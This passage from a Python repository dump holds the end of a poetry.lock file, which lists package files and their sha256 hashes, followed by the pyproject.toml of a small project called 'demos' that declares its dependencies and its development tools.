"sha256:bb350eb1060591d8e89d6bac4713d41006cd4d479f5e11db334a48ff8999512f"}, 1409 | {file = "regex-2021.8.3-cp37-cp37m-win32.whl", hash = "sha256:18fdc51458abc0a974822333bd3a932d4e06ba2a3243e9a1da305668bd62ec6d"}, 1410 | {file = "regex-2021.8.3-cp37-cp37m-win_amd64.whl", hash = "sha256:026beb631097a4a3def7299aa5825e05e057de3c6d72b139c37813bfa351274b"}, 1411 | {file = "regex-2021.8.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:16d9eaa8c7e91537516c20da37db975f09ac2e7772a0694b245076c6d68f85da"}, 1412 | {file = "regex-2021.8.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3905c86cc4ab6d71635d6419a6f8d972cab7c634539bba6053c47354fd04452c"}, 1413 | {file = "regex-2021.8.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:937b20955806381e08e54bd9d71f83276d1f883264808521b70b33d98e4dec5d"}, 1414 | {file = "regex-2021.8.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:28e8af338240b6f39713a34e337c3813047896ace09d51593d6907c66c0708ba"}, 1415 | {file = "regex-2021.8.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3c09d88a07483231119f5017904db8f60ad67906efac3f1baa31b9b7f7cca281"}, 1416 | {file = "regex-2021.8.3-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:85f568892422a0e96235eb8ea6c5a41c8ccbf55576a2260c0160800dbd7c4f20"}, 1417 | {file = "regex-2021.8.3-cp38-cp38-win32.whl", hash = "sha256:bf6d987edd4a44dd2fa2723fca2790f9442ae4de2c8438e53fcb1befdf5d823a"}, 1418 | {file = "regex-2021.8.3-cp38-cp38-win_amd64.whl", hash = "sha256:8fe58d9f6e3d1abf690174fd75800fda9bdc23d2a287e77758dc0e8567e38ce6"}, 1419 | {file = "regex-2021.8.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:7976d410e42be9ae7458c1816a416218364e06e162b82e42f7060737e711d9ce"}, 1420 | {file = "regex-2021.8.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9569da9e78f0947b249370cb8fadf1015a193c359e7e442ac9ecc585d937f08d"}, 1421 | {file = "regex-2021.8.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:459bbe342c5b2dec5c5223e7c363f291558bc27982ef39ffd6569e8c082bdc83"}, 1422 | {file = "regex-2021.8.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:4f421e3cdd3a273bace013751c345f4ebeef08f05e8c10757533ada360b51a39"}, 1423 | {file = "regex-2021.8.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ea212df6e5d3f60341aef46401d32fcfded85593af1d82b8b4a7a68cd67fdd6b"}, 1424 | {file = "regex-2021.8.3-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:a3b73390511edd2db2d34ff09aa0b2c08be974c71b4c0505b4a048d5dc128c2b"}, 1425 | {file = "regex-2021.8.3-cp39-cp39-win32.whl", hash = "sha256:f35567470ee6dbfb946f069ed5f5615b40edcbb5f1e6e1d3d2b114468d505fc6"}, 1426 | {file = "regex-2021.8.3-cp39-cp39-win_amd64.whl", hash = "sha256:bfa6a679410b394600eafd16336b2ce8de43e9b13f7fb9247d84ef5ad2b45e91"}, 1427 | {file = "regex-2021.8.3.tar.gz", hash = "sha256:8935937dad2c9b369c3d932b0edbc52a62647c2afb2fafc0c280f14a8bf56a6a"}, 1428 | ] 1429 | six = [ 1430 | {file = "six-1.16.0-py2.py3-none-any.whl", hash = "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254"}, 1431 | {file = "six-1.16.0.tar.gz", hash = "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926"}, 1432 | ] 1433 | snowballstemmer = [ 1434 | {file = "snowballstemmer-2.1.0-py2.py3-none-any.whl", hash = "sha256:b51b447bea85f9968c13b650126a888aabd4cb4463fca868ec596826325dedc2"}, 1435 | {file = "snowballstemmer-2.1.0.tar.gz", hash = "sha256:e997baa4f2e9139951b6f4c631bad912dfd3c792467e2f03d7239464af90e914"}, 1436 | ] 1437 | text-unidecode = [ 1438 | {file = "text-unidecode-1.3.tar.gz", hash = "sha256:bad6603bb14d279193107714b288be206cac565dfa49aa5b105294dd5c4aab93"}, 1439 | {file = "text_unidecode-1.3-py2.py3-none-any.whl", hash = "sha256:1311f10e8b895935241623731c2ba64f4c455287888b18189350b67134a822e8"}, 1440 | ] 1441 | toml = [ 1442 | {file = "toml-0.10.2-py2.py3-none-any.whl", hash = "sha256:806143ae5bfb6a3c6e736a764057db0e6a0e05e338b5630894a5f779cabb4f9b"}, 1443 | {file = "toml-0.10.2.tar.gz", hash = "sha256:b3bda1d108d5dd99f4a20d24d9c348e91c4db7ab1b749200bded2f839ccbe68f"}, 1444 | ] 1445 | tqdm = [ 1446 | {file = "tqdm-4.62.1-py2.py3-none-any.whl", hash = "sha256:07856e19a1fe4d2d9621b539d3f072fa88c9c1ef1f3b7dd4d4953383134c3164"}, 1447 | {file = "tqdm-4.62.1.tar.gz", hash = "sha256:35540feeaca9ac40c304e916729e6b78045cbbeccd3e941b2868f09306798ac9"}, 1448 | ] 1449 | traitlets = [ 1450 | {file = "traitlets-5.0.5-py3-none-any.whl", hash = "sha256:69ff3f9d5351f31a7ad80443c2674b7099df13cc41fc5fa6e2f6d3b0330b0426"}, 1451 | {file = "traitlets-5.0.5.tar.gz", hash = "sha256:178f4ce988f69189f7e523337a3e11d91c786ded9360174a3d9ca83e79bc5396"}, 1452 | ] 1453 | typed-ast = [ 1454 | {file = "typed_ast-1.4.3-cp35-cp35m-manylinux1_i686.whl", hash = "sha256:2068531575a125b87a41802130fa7e29f26c09a2833fea68d9a40cf33902eba6"}, 1455 | {file = "typed_ast-1.4.3-cp35-cp35m-manylinux1_x86_64.whl", hash = "sha256:c907f561b1e83e93fad565bac5ba9c22d96a54e7ea0267c708bffe863cbe4075"}, 1456 | {file = "typed_ast-1.4.3-cp35-cp35m-manylinux2014_aarch64.whl", hash = "sha256:1b3ead4a96c9101bef08f9f7d1217c096f31667617b58de957f690c92378b528"}, 1457 | {file = "typed_ast-1.4.3-cp35-cp35m-win32.whl", hash = "sha256:dde816ca9dac1d9c01dd504ea5967821606f02e510438120091b84e852367428"}, 1458 | {file = "typed_ast-1.4.3-cp35-cp35m-win_amd64.whl", hash = "sha256:777a26c84bea6cd934422ac2e3b78863a37017618b6e5c08f92ef69853e765d3"}, 1459 | {file = "typed_ast-1.4.3-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:f8afcf15cc511ada719a88e013cec87c11aff7b91f019295eb4530f96fe5ef2f"}, 1460 | {file = "typed_ast-1.4.3-cp36-cp36m-manylinux1_i686.whl", hash = "sha256:52b1eb8c83f178ab787f3a4283f68258525f8d70f778a2f6dd54d3b5e5fb4341"}, 1461 | {file = "typed_ast-1.4.3-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:01ae5f73431d21eead5015997ab41afa53aa1fbe252f9da060be5dad2c730ace"}, 1462 | {file = "typed_ast-1.4.3-cp36-cp36m-manylinux2014_aarch64.whl", hash = "sha256:c190f0899e9f9f8b6b7863debfb739abcb21a5c054f911ca3596d12b8a4c4c7f"}, 1463 | {file = "typed_ast-1.4.3-cp36-cp36m-win32.whl", hash = "sha256:398e44cd480f4d2b7ee8d98385ca104e35c81525dd98c519acff1b79bdaac363"}, 1464 | {file = "typed_ast-1.4.3-cp36-cp36m-win_amd64.whl", hash = "sha256:bff6ad71c81b3bba8fa35f0f1921fb24ff4476235a6e94a26ada2e54370e6da7"}, 1465 | {file = "typed_ast-1.4.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:0fb71b8c643187d7492c1f8352f2c15b4c4af3f6338f21681d3681b3dc31a266"}, 1466 | {file = "typed_ast-1.4.3-cp37-cp37m-manylinux1_i686.whl", hash = "sha256:760ad187b1041a154f0e4d0f6aae3e40fdb51d6de16e5c99aedadd9246450e9e"}, 1467 | {file = "typed_ast-1.4.3-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:5feca99c17af94057417d744607b82dd0a664fd5e4ca98061480fd8b14b18d04"}, 1468 | {file = "typed_ast-1.4.3-cp37-cp37m-manylinux2014_aarch64.whl", hash = "sha256:95431a26309a21874005845c21118c83991c63ea800dd44843e42a916aec5899"}, 1469 | {file = "typed_ast-1.4.3-cp37-cp37m-win32.whl", hash = "sha256:aee0c1256be6c07bd3e1263ff920c325b59849dc95392a05f258bb9b259cf39c"}, 1470 | {file = "typed_ast-1.4.3-cp37-cp37m-win_amd64.whl", hash = "sha256:9ad2c92ec681e02baf81fdfa056fe0d818645efa9af1f1cd5fd6f1bd2bdfd805"}, 1471 | {file = "typed_ast-1.4.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:b36b4f3920103a25e1d5d024d155c504080959582b928e91cb608a65c3a49e1a"}, 1472 | {file = "typed_ast-1.4.3-cp38-cp38-manylinux1_i686.whl", hash = "sha256:067a74454df670dcaa4e59349a2e5c81e567d8d65458d480a5b3dfecec08c5ff"}, 1473 | {file = "typed_ast-1.4.3-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:7538e495704e2ccda9b234b82423a4038f324f3a10c43bc088a1636180f11a41"}, 1474 | {file = "typed_ast-1.4.3-cp38-cp38-manylinux2014_aarch64.whl", hash = "sha256:af3d4a73793725138d6b334d9d247ce7e5f084d96284ed23f22ee626a7b88e39"}, 1475 | {file = "typed_ast-1.4.3-cp38-cp38-win32.whl", hash = "sha256:f2362f3cb0f3172c42938946dbc5b7843c2a28aec307c49100c8b38764eb6927"}, 1476 | {file = "typed_ast-1.4.3-cp38-cp38-win_amd64.whl", hash = "sha256:dd4a21253f42b8d2b48410cb31fe501d32f8b9fbeb1f55063ad102fe9c425e40"}, 1477 | {file = "typed_ast-1.4.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:f328adcfebed9f11301eaedfa48e15bdece9b519fb27e6a8c01aa52a17ec31b3"}, 1478 | {file = "typed_ast-1.4.3-cp39-cp39-manylinux1_i686.whl", hash = "sha256:2c726c276d09fc5c414693a2de063f521052d9ea7c240ce553316f70656c84d4"}, 1479 | {file = "typed_ast-1.4.3-cp39-cp39-manylinux1_x86_64.whl", hash = "sha256:cae53c389825d3b46fb37538441f75d6aecc4174f615d048321b716df2757fb0"}, 1480 | {file = "typed_ast-1.4.3-cp39-cp39-manylinux2014_aarch64.whl", hash = "sha256:b9574c6f03f685070d859e75c7f9eeca02d6933273b5e69572e5ff9d5e3931c3"}, 1481 | {file = "typed_ast-1.4.3-cp39-cp39-win32.whl", hash = "sha256:209596a4ec71d990d71d5e0d312ac935d86930e6eecff6ccc7007fe54d703808"}, 1482 | {file = "typed_ast-1.4.3-cp39-cp39-win_amd64.whl", hash = "sha256:9c6d1a54552b5330bc657b7ef0eae25d00ba7ffe85d9ea8ae6540d2197a3788c"}, 1483 | {file = "typed_ast-1.4.3.tar.gz", hash = "sha256:fb1bbeac803adea29cedd70781399c99138358c26d05fcbd23c13016b7f5ec65"}, 1484 | ] 1485 | typing-extensions = [ 1486 | {file = "typing_extensions-3.10.0.0-py2-none-any.whl", hash = "sha256:0ac0f89795dd19de6b97debb0c6af1c70987fd80a2d62d1958f7e56fcc31b497"}, 1487 | {file = "typing_extensions-3.10.0.0-py3-none-any.whl", hash = "sha256:779383f6086d90c99ae41cf0ff39aac8a7937a9283ce0a414e5dd782f4c94a84"}, 1488 | {file = "typing_extensions-3.10.0.0.tar.gz", hash = "sha256:50b6f157849174217d0656f99dc82fe932884fb250826c18350e159ec6cdf342"}, 1489 | ] 1490 | ua-parser = [ 1491 | {file = "ua-parser-0.10.0.tar.gz", hash = "sha256:47b1782ed130d890018d983fac37c2a80799d9e0b9c532e734c67cf70f185033"}, 1492 | {file = "ua_parser-0.10.0-py2.py3-none-any.whl", hash = "sha256:46ab2e383c01dbd2ab284991b87d624a26a08f72da4d7d413f5bfab8b9036f8a"}, 1493 | ] 1494 | untokenize = [ 1495 | {file = "untokenize-0.1.1.tar.gz", hash = "sha256:3865dbbbb8efb4bb5eaa72f1be7f3e0be00ea8b7f125c69cbd1f5fda926f37a2"}, 1496 | ] 1497 | user-agents = [ 1498 | {file = "user-agents-2.2.0.tar.gz", hash = "sha256:d36d25178db65308d1458c5fa4ab39c9b2619377010130329f3955e7626ead26"}, 1499 | {file = "user_agents-2.2.0-py3-none-any.whl", hash = "sha256:a98c4dc72ecbc64812c4534108806fb0a0b3a11ec3fd1eafe807cee5b0a942e7"}, 1500 | ] 1501 | wcwidth = [ 1502 | {file = "wcwidth-0.2.5-py2.py3-none-any.whl", hash = "sha256:beb4802a9cebb9144e99086eff703a642a13d6a0052920003a230f3294bbe784"}, 1503 | {file = "wcwidth-0.2.5.tar.gz", hash = "sha256:c4d647b99872929fdb7bdcaa4fbe7f01413ed3d98077df798530e5b04f116c83"}, 1504 | ] 1505 | wrapt = [ 1506 | {file = "wrapt-1.12.1.tar.gz", hash = "sha256:b62ffa81fb85f4332a4f609cab4ac40709470da05643a082ec1eb88e6d9b97d7"}, 1507 | ] 1508 | yarl = [ 1509 | {file = "yarl-1.6.3-cp36-cp36m-macosx_10_14_x86_64.whl", hash = "sha256:0355a701b3998dcd832d0dc47cc5dedf3874f966ac7f870e0f3a6788d802d434"}, 1510 | {file = "yarl-1.6.3-cp36-cp36m-manylinux1_i686.whl", hash = "sha256:bafb450deef6861815ed579c7a6113a879a6ef58aed4c3a4be54400ae8871478"}, 1511 | {file = "yarl-1.6.3-cp36-cp36m-manylinux2014_aarch64.whl", hash = "sha256:547f7665ad50fa8563150ed079f8e805e63dd85def6674c97efd78eed6c224a6"}, 1512 | {file = "yarl-1.6.3-cp36-cp36m-manylinux2014_i686.whl", hash = "sha256:63f90b20ca654b3ecc7a8d62c03ffa46999595f0167d6450fa8383bab252987e"}, 1513 | {file = "yarl-1.6.3-cp36-cp36m-manylinux2014_ppc64le.whl", hash = "sha256:97b5bdc450d63c3ba30a127d018b866ea94e65655efaf889ebeabc20f7d12406"}, 1514 | {file = "yarl-1.6.3-cp36-cp36m-manylinux2014_s390x.whl", hash = "sha256:d8d07d102f17b68966e2de0e07bfd6e139c7c02ef06d3a0f8d2f0f055e13bb76"}, 1515 | {file = "yarl-1.6.3-cp36-cp36m-manylinux2014_x86_64.whl", hash = "sha256:15263c3b0b47968c1d90daa89f21fcc889bb4b1aac5555580d74565de6836366"}, 1516 | {file = "yarl-1.6.3-cp36-cp36m-win32.whl", hash = "sha256:b5dfc9a40c198334f4f3f55880ecf910adebdcb2a0b9a9c23c9345faa9185721"}, 1517 | {file = "yarl-1.6.3-cp36-cp36m-win_amd64.whl", hash = "sha256:b2e9a456c121e26d13c29251f8267541bd75e6a1ccf9e859179701c36a078643"}, 1518 | {file = "yarl-1.6.3-cp37-cp37m-macosx_10_14_x86_64.whl", hash = "sha256:ce3beb46a72d9f2190f9e1027886bfc513702d748047b548b05dab7dfb584d2e"}, 1519 | {file = "yarl-1.6.3-cp37-cp37m-manylinux1_i686.whl", hash = "sha256:2ce4c621d21326a4a5500c25031e102af589edb50c09b321049e388b3934eec3"}, 1520 | {file = "yarl-1.6.3-cp37-cp37m-manylinux2014_aarch64.whl", hash = "sha256:d26608cf178efb8faa5ff0f2d2e77c208f471c5a3709e577a7b3fd0445703ac8"}, 1521 | {file = "yarl-1.6.3-cp37-cp37m-manylinux2014_i686.whl", hash = "sha256:4c5bcfc3ed226bf6419f7a33982fb4b8ec2e45785a0561eb99274ebbf09fdd6a"}, 1522 | {file = "yarl-1.6.3-cp37-cp37m-manylinux2014_ppc64le.whl", hash = "sha256:4736eaee5626db8d9cda9eb5282028cc834e2aeb194e0d8b50217d707e98bb5c"}, 1523 | {file = "yarl-1.6.3-cp37-cp37m-manylinux2014_s390x.whl", hash = "sha256:68dc568889b1c13f1e4745c96b931cc94fdd0defe92a72c2b8ce01091b22e35f"}, 1524 | {file = "yarl-1.6.3-cp37-cp37m-manylinux2014_x86_64.whl", hash = "sha256:7356644cbed76119d0b6bd32ffba704d30d747e0c217109d7979a7bc36c4d970"}, 1525 | {file = "yarl-1.6.3-cp37-cp37m-win32.whl", hash = "sha256:00d7ad91b6583602eb9c1d085a2cf281ada267e9a197e8b7cae487dadbfa293e"}, 1526 | {file = "yarl-1.6.3-cp37-cp37m-win_amd64.whl", hash = "sha256:69ee97c71fee1f63d04c945f56d5d726483c4762845400a6795a3b75d56b6c50"}, 1527 | {file = "yarl-1.6.3-cp38-cp38-macosx_10_14_x86_64.whl", hash = "sha256:e46fba844f4895b36f4c398c5af062a9808d1f26b2999c58909517384d5deda2"}, 1528 | {file = "yarl-1.6.3-cp38-cp38-manylinux1_i686.whl", hash = "sha256:31ede6e8c4329fb81c86706ba8f6bf661a924b53ba191b27aa5fcee5714d18ec"}, 1529 | {file = "yarl-1.6.3-cp38-cp38-manylinux2014_aarch64.whl", hash = "sha256:fcbb48a93e8699eae920f8d92f7160c03567b421bc17362a9ffbbd706a816f71"}, 1530 | {file = "yarl-1.6.3-cp38-cp38-manylinux2014_i686.whl", hash = "sha256:72a660bdd24497e3e84f5519e57a9ee9220b6f3ac4d45056961bf22838ce20cc"}, 1531 | {file = "yarl-1.6.3-cp38-cp38-manylinux2014_ppc64le.whl", hash = "sha256:324ba3d3c6fee56e2e0b0d09bf5c73824b9f08234339d2b788af65e60040c959"}, 1532 | {file = "yarl-1.6.3-cp38-cp38-manylinux2014_s390x.whl", hash = "sha256:e6b5460dc5ad42ad2b36cca524491dfcaffbfd9c8df50508bddc354e787b8dc2"}, 1533 | {file = "yarl-1.6.3-cp38-cp38-manylinux2014_x86_64.whl", hash = "sha256:6d6283d8e0631b617edf0fd726353cb76630b83a089a40933043894e7f6721e2"}, 1534 | {file = "yarl-1.6.3-cp38-cp38-win32.whl", hash = "sha256:9ede61b0854e267fd565e7527e2f2eb3ef8858b301319be0604177690e1a3896"}, 1535 | {file = "yarl-1.6.3-cp38-cp38-win_amd64.whl", hash = "sha256:f0b059678fd549c66b89bed03efcabb009075bd131c248ecdf087bdb6faba24a"}, 1536 | {file = "yarl-1.6.3-cp39-cp39-macosx_10_14_x86_64.whl", hash = "sha256:329412812ecfc94a57cd37c9d547579510a9e83c516bc069470db5f75684629e"}, 1537 | {file = "yarl-1.6.3-cp39-cp39-manylinux1_i686.whl", hash = "sha256:c49ff66d479d38ab863c50f7bb27dee97c6627c5fe60697de15529da9c3de724"}, 1538 | {file = "yarl-1.6.3-cp39-cp39-manylinux2014_aarch64.whl", hash = "sha256:f040bcc6725c821a4c0665f3aa96a4d0805a7aaf2caf266d256b8ed71b9f041c"}, 1539 | {file = "yarl-1.6.3-cp39-cp39-manylinux2014_i686.whl", hash = "sha256:d5c32c82990e4ac4d8150fd7652b972216b204de4e83a122546dce571c1bdf25"}, 1540 | {file = "yarl-1.6.3-cp39-cp39-manylinux2014_ppc64le.whl", hash = "sha256:d597767fcd2c3dc49d6eea360c458b65643d1e4dbed91361cf5e36e53c1f8c96"}, 1541 | {file = "yarl-1.6.3-cp39-cp39-manylinux2014_s390x.whl", hash = "sha256:8aa3decd5e0e852dc68335abf5478a518b41bf2ab2f330fe44916399efedfae0"}, 1542 | {file = "yarl-1.6.3-cp39-cp39-manylinux2014_x86_64.whl", hash = "sha256:73494d5b71099ae8cb8754f1df131c11d433b387efab7b51849e7e1e851f07a4"}, 1543 | {file = "yarl-1.6.3-cp39-cp39-win32.whl", hash = "sha256:5b883e458058f8d6099e4420f0cc2567989032b5f34b271c0827de9f1079a424"}, 1544 | {file = "yarl-1.6.3-cp39-cp39-win_amd64.whl", hash = "sha256:4953fb0b4fdb7e08b2f3b3be80a00d28c5c8a2056bb066169de00e6501b986b6"}, 1545 | {file = "yarl-1.6.3.tar.gz", hash = "sha256:8a9066529240171b68893d60dca86a763eae2139dd42f42106b03cf4b426bf10"}, 1546 | ] 1547 | -------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [tool.poetry] 2 | name = "demos" 3 | version = "0.0.1" 4 | description = "Demonstrative scripts" 5 | authors = ["acamso "] 6 | readme = "README.md" 7 | repository = "https://github.com/acamso/demos" 8 | 9 | [tool.poetry.dependencies] 10 | python = "^3.8" 11 | aiohttp = "^3.7.4" 12 | lxml = "^4.6.3" 13 | user-agents = "^2.2.0" 14 | Faker = "^7.0.1" 15 | aiosmtplib = "^1.1.4" 16 | tqdm = "^4.60.0" 17 | 18 | [tool.poetry.dev-dependencies] 19 | autoflake = "^1.4" 20 | black = {version = "^19.10b0", allow-prereleases = true} 21 | docformatter = "^1.3.1" 22 | flake8 = "^3.8.4" 23 | guppy3 = "^3.1.0" 24 | ipython = "^7.19.0" 25 | jedi = "^0.17.2" 26 | line-profiler = "^3.1.0" 27 | memory-profiler = "^0.58.0" 28 | msgpack = "^1.0.0" 29 | mypy = "^0.790" 30 | pydocstyle = "^5.1.1" 31 | pylint = "^2.6.0" 32 | pynvim = "^0.4.2" 33 | pytest-check = "^0.3.9" 34 | pytest-dependency = "^0.5.1" 35 | pytest-repeat = "^0.9.1" 36 | radon = "^4.3.2" 37 | wrapt = "^1.12.1" 38 | 39 | [build-system] 40 | requires = ["poetry-core>=1.0.0a5"] 41 | build-backend = "poetry.core.masonry.api" 42 | --------------------------------------------------------------------------------